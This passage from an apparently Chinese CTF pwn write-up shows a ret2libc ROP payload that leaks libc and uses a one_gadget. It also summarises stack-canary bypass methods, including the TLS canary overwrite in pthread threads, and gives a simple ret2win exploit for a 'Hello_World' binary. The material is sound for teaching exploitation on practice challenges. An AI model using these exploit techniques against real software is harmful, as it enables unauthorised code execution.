payload1 += "B"*8 #这一段实际上是rbp的位置
payload1 += p64(pop_rdi)
#跳转到pop rdi;retn;所在语句(可以通过ROPgadget查询),来给rdi传入read函数的got表中的地址。
payload1 += p64(read_got) #被pop rdi语句调用,出栈
payload1 += p64(puts_plt)
#retn到put函数的plt表,调用put函数。
payload1 += p64(start)
#调用之后,返回程序最开始,恢复栈帧,再执行一遍程序

这样就可以得到read的实际地址,从而通过libc库计算偏移地址得到基地址。

5.现在有了libc库的基地址,观察main函数退出时的汇编代码:mov eax, 0可以使用在2.24libc库条件下可以使用onegadget。

6.直接计算onegadget偏移,然后覆盖main函数的返回地址,getshell。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

Canary绕过总结

1.有循环时,32或者64位程序下都可以逐字节爆破绕过。

2.可通过printf字符串漏洞来泄露(%p.%p.%p….)。

3.通过打印栈上数据的打印函数栈溢出连上canary泄露出来。

4.当程序直接读取flag进入内存时,利用函数__stack_chk_fail,加上足够长度的栈溢出覆盖argv[0]为程序中保存flag的地址。这样当__stack_chk_fail运行时就会打印出argv[0]中地址上对应的内容,也就是flag。有时候需要设置远程环境变量LIBC_FATAL_STDERR_=1,将flag打印在本地。

5.由pthread出来的线程函数中如果有足够长度的栈溢出,可以直接覆盖canary来源tcbhead_t结构体中的canary和栈中的canary为同一数值,这样检查仍旧通过。

(64位中为fs:[28h],32位中为gs:[14h])

▲查找方法:

(1)pwndbg>catch syscall 158

img

(2)查看rsi寄存器,里面存的内容就是tcbhead_t结构体的首地址。

img

(3)之后就可以查看canary的值:

img

但是这个方法好像不怎么顶用了,libc2.23及以下都行,但是libc2.27就会出现无法访问的错误,具体的原因好像是libc升级之后添加了什么东西设置了不可访问:

img

32位下没有arch_prctl这个系统调用了,需要看canary的生成函数调用了什么系统调用,方法类似,下断点之后查出来。

★IDA中远程调试也可以查出来,利用程序开头的fs:28,找到地址,然后减去libc基地址就可以得到偏移。但是需要libc一致,偏移才会一致。而且这个偏移并不是在libc数据段上,只是程序初始化时放在后面的,所以不同的程序不同的libc都会导致偏移不一样,需要具体调试。

▲长度一般为rbp+2000左右,不同的Libc版本都不太一样,需要调试才能知道。原因是通过pthread出来的线程函数栈会被安置到与TLS相差约2000字节的距离处:

img img

这里可以看到,第一个是main函数栈,第二个是在main函数中通过pthread进程创建并且调用的函数栈,两者相差将近0x700000000这么远,完全不是正常的函数调用相差的栈距离。同时在该函数中rbp指向的始终是0000(全是),该函数结束后会先跳转到libc中的libpthread来恢复栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

▲64位的tcbhead_t结构体:
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;//即为canary,fs:28h处
uintptr_t pointer_guard;
...
} tcbhead_t;

Hello_World

1.很简单的一个程序,IDA打开,32位程序,main函数-hello函数中

img

1
2
3
4
#注释头

int buf; // [esp+6h] [ebp-12h]
read(0, &buf, 0x64u);

buf距离栈底有0x12h,而可以读入的数据有0x64h,所以可以栈溢出。

2.checksec一下,开了NX,不能shellcode,这里也不需要,因为我们的输入并不会被当成指令来执行。

3.程序中自带后门getShell函数,并且有栈溢出,那么直接覆盖hello函数的返回地址跳转即可。

img

img

4.编写payload:

payload = “a”*(0x12+0x04) #padding

(其中0x12是覆盖掉距离栈底的内容,0x04是覆盖掉hello函数返回的ebp,之后才是覆盖hello函数的返回地址)

payload += p32(0x0804846B) ##覆盖返回地址

5.之后输入,然后Interactive()即可。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157